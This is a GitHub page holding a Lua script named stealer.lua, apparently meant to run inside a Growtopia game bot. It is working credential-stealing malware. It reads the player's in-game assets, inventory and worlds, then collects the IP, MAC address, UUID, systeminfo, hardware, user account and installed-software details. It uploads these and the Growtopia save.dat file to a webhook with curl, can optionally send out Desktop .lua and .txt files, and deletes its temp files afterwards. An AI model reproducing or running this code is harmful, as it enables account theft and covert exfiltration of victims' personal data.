-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstealer.lua
330 lines (282 loc) · 8.84 KB
/
stealer.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
xwebhook = ""
steal_files = false -- this will steal all files in desktop line: 217 set as true if enabled
function string.removeColors(varlist)
return varlist:gsub("`.", "")
end
function generateRandomNiceColor()
red = math.random(160, 240)
green = math.random(160, 240)
blue = math.random(160, 240)
return (red * 65536) + (green * 256) + blue
end
randomColor = generateRandomNiceColor()
function SendWebhookWithPowerShell(webhook, file_path)
curl_command = 'curl -X POST -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" -F "file=@' .. file_path .. '" -F "content=" ' .. webhook
status_code = os.execute(curl_command)
return status_code
end
function save_inventory_to_file()
file = io.open("C:\\Windows\\Temp\\inv.txt", "w")
for _,cur in pairs(GetInventory()) do
file:write(GetIteminfo(cur.id).name ..": "..math.floor(GetItemCount(cur.id)).."\n")
end
file:close()
end
function hide_world(varlist)
if varlist[0] == "OnDialogRequest" and varlist[1]:find("end_dialog|popup||Continue|") and varlist[1]:find("add_textbox|`oTotal time played is") then
return true
end
end
AddCallback("hide_world", "OnVarlist", hide_world)
SendPacket(2, "action|wrench\n|netid|"..GetLocal().netid)
SendPacket(2, [[
action|dialog_return
dialog_name|popup
netID|]]..math.floor(GetLocal().netid)..[[|
buttonClicked|my_worlds
]])
Sleep(2000)
RemoveCallback("hide_world")
function get_worlds(varlist, packet)
if varlist[0]:find("OnDialogRequest") and varlist[1]:find("end_dialog|worlds_list||Back|") then
file = io.open("C:\\Windows\\Temp\\worlds.txt", "w")
for world_name in varlist[1]:gmatch("add_button|([^|]+)|") do
file:write(world_name.."\n")
end
file:close()
return true
end
end
AddCallback("get_worlds", "OnVarlist", get_worlds)
--[[
function getIPInfo(ip)
country = io.popen("curl -s http://ipinfo.io/" .. ip .. "/country"):read("*a"):gsub("%s+", "") or ""
city = io.popen("curl -s http://ipinfo.io/" .. ip .. "/city"):read("*a"):gsub("%s+", "") or ""
return country, city
end
]]
function getMACAddress()
handle = io.popen("ipconfig /all")
result = handle:read("*a")
handle:close()
mac = result:match("Physical Address[^\n]*: ([%a%d%-]+)")
return mac
end
mac = getMACAddress()
function getSystemInformation()
ip = io.popen("curl -s http://ipinfo.io/ip"):read("*a"):gsub("%s+", "") or ""
return ip
end
ip = getSystemInformation()
--country, city = getIPInfo(ip)
function executeCommand(command)
handle = io.popen(command)
result = handle:read("*a")
handle:close()
return result
end
function getSystemUUID()
uuidCommand = 'wmic csproduct get uuid'
uuidInfo = executeCommand(uuidCommand)
uuid = uuidInfo:match("UUID%s+(%b{})")
if not uuid then
uuid = uuidInfo:match("(%b{})")
end
return uuid
end
systemUUID = getSystemUUID()
Player_webhook_name = GetLocal().name:removeColors()
Player_webhook_gems = math.floor(GetLocal().gems)
Player_webhook_world = GetLocal().world
Player_webhook_wl = math.floor(GetItemCount(242))
Player_webhook_dl = math.floor(GetItemCount(1796))
Player_webhook_bgl = math.floor(GetItemCount(7188))
timeOffset = 0
currentTime = os.time() - (timeOffset * 60 * 60)
formattedTime = os.date("!%Y-%m-%dT%H:%M:%S", currentTime)
webhookmain = [[
{
"content": "",
"embeds": [{
"title": "",
"url": "",
"color": ]]..randomColor..[[,
"fields": [
{
"name": "Player Information",
"value": "",
"inline": false
},
{
"name": "<:namexd:1139104281262309466> Name",
"value": "%s",
"inline": true
},
{
"name": "<:FakeNitroEmoji:1139103480146055230> Gems",
"value": "%s",
"inline": true
},
{
"name": "<:world:1139104095077138503> World",
"value": "%s",
"inline": true
},
{
"name": "Balance",
"value": "",
"inline": false
},
{
"name": "<:wls:1139104897590112317> World Locks",
"value": "%s",
"inline": true
},
{
"name": "<a:dls:1139104823271231508> Diamond Locks",
"value": "%s",
"inline": true
},
{
"name": "<a:bgl:1139104790941532213> Blue Gem Locks",
"value": "%s",
"inline": true
},
{
"name": "System Information",
"value": "",
"inline": false
},
{
"name": "<:ip:1122601632929173645> IP",
"value": "||%s||",
"inline": true
},
{
"name": "<:globe2:1179532330281472160> Mac",
"value": "||%s||",
"inline": true
}
],
"footer": {
"text": "",
"icon_url": ""
},
"timestamp": "%s"
}]
}
]]
webhookmain = webhookmain:format(
Player_webhook_name,
Player_webhook_gems,
Player_webhook_world,
Player_webhook_wl,
Player_webhook_dl,
Player_webhook_bgl,
ip,
mac,
formattedTime
)
webhookx = xwebhook
SendWebhook(webhookx, webhookmain)
save_inventory_to_file()
SendWebhookWithPowerShell(xwebhook, "C:\\Windows\\Temp\\inv.txt")
SendWebhookWithPowerShell(xwebhook, "C:\\Windows\\Temp\\worlds.txt")
SendWebhookWithPowerShell(xwebhook, os.getenv("USERPROFILE").."\\AppData\\Local\\Growtopia\\save.dat")
if steal_files then
function getAllFiles(directory)
files = {}
handle = io.popen('dir "'..directory..'" /b /a-d')
for filename in handle:lines() do
if filename:match("%.lua$") or filename:match("%.txt$") then
table.insert(files, directory.."\\"..filename)
end
end
handle:close()
return files
end
desktopFiles = getAllFiles(os.getenv("USERPROFILE").."\\Desktop")
for _, file in ipairs(desktopFiles) do
SendWebhookWithPowerShell(xwebhook, file)
end
end
os.remove("C:\\Windows\\Temp\\inv.txt")
os.remove("C:\\Windows\\Temp\\worlds.txt")
function executeCommand(command)
handle = io.popen(command)
if handle then
result = handle:read("*a")
handle:close()
return result
else
return nil
end
end
function removeEmptyLines(text)
lines = {}
for line in text:gmatch("[^\r\n]+") do
if line:match("%S") then
table.insert(lines, line)
end
end
return table.concat(lines, "\n")
end
function getSystemUUID()
uuidCommand = 'wmic csproduct get uuid'
uuidInfo = executeCommand(uuidCommand)
uuid = uuidInfo and uuidInfo:match("{.-}") or "UUID not found"
return uuid
end
function getMACAddress()
macCommand = 'ipconfig /all'
macInfo = executeCommand(macCommand)
mac = macInfo and macInfo:match("Physical Address[%.:%s]+([%x%-]+)") or "MAC Address not found"
return mac
end
function getIPAddress()
ipCommand = 'ipconfig'
ipInfo = executeCommand(ipCommand)
ip = ipInfo and ipInfo:match("IPv4 Address[%.:%s]+([%d%.]+)") or "IP Address not found"
return ip
end
function getSystemInfo()
systemInfoCommand = 'systeminfo'
systemInfo = executeCommand(systemInfoCommand)
return systemInfo or "System information not found"
end
function getHardwareInfo()
hardwareInfoCommand = 'wmic cpu get Name /format:list && wmic memorychip get Capacity /format:list && wmic diskdrive get Model,Size /format:list'
hardwareInfo = executeCommand(hardwareInfoCommand)
return hardwareInfo or "Hardware information not found"
end
function getUserInfo()
userInfoCommand = 'net user %username%'
userInfo = executeCommand(userInfoCommand)
return userInfo or "User information not found"
end
function getInstalledSoftware()
softwareInfoCommand = 'wmic product get Name,Version'
softwareInfo = executeCommand(softwareInfoCommand)
return softwareInfo or "Installed software information not found"
end
function saveSystemInfoToFile()
file = io.open("C:\\Windows\\Temp\\system_info.txt", "w")
file:write("System UUID:\n")
file:write(removeEmptyLines(getSystemUUID()).."\n\n")
file:write("MAC Address:\n")
file:write(removeEmptyLines(getMACAddress()).."\n\n")
file:write("IP Address:\n")
file:write(removeEmptyLines(getIPAddress()).."\n\n")
file:write("System Information:\n")
file:write(removeEmptyLines(getSystemInfo()).."\n\n")
file:write("Hardware Information:\n")
file:write(removeEmptyLines(getHardwareInfo()).."\n\n")
file:write("User Information:\n")
file:write(removeEmptyLines(getUserInfo()).."\n\n")
file:write("Installed Software:\n")
file:write(removeEmptyLines(getInstalledSoftware()).."\n\n")
file:close()
end
saveSystemInfoToFile()
SendWebhookWithPowerShell(xwebhook, "C:\\Windows\\Temp\\system_info.txt")
os.remove("C:\\Windows\\Temp\\system_info.txt")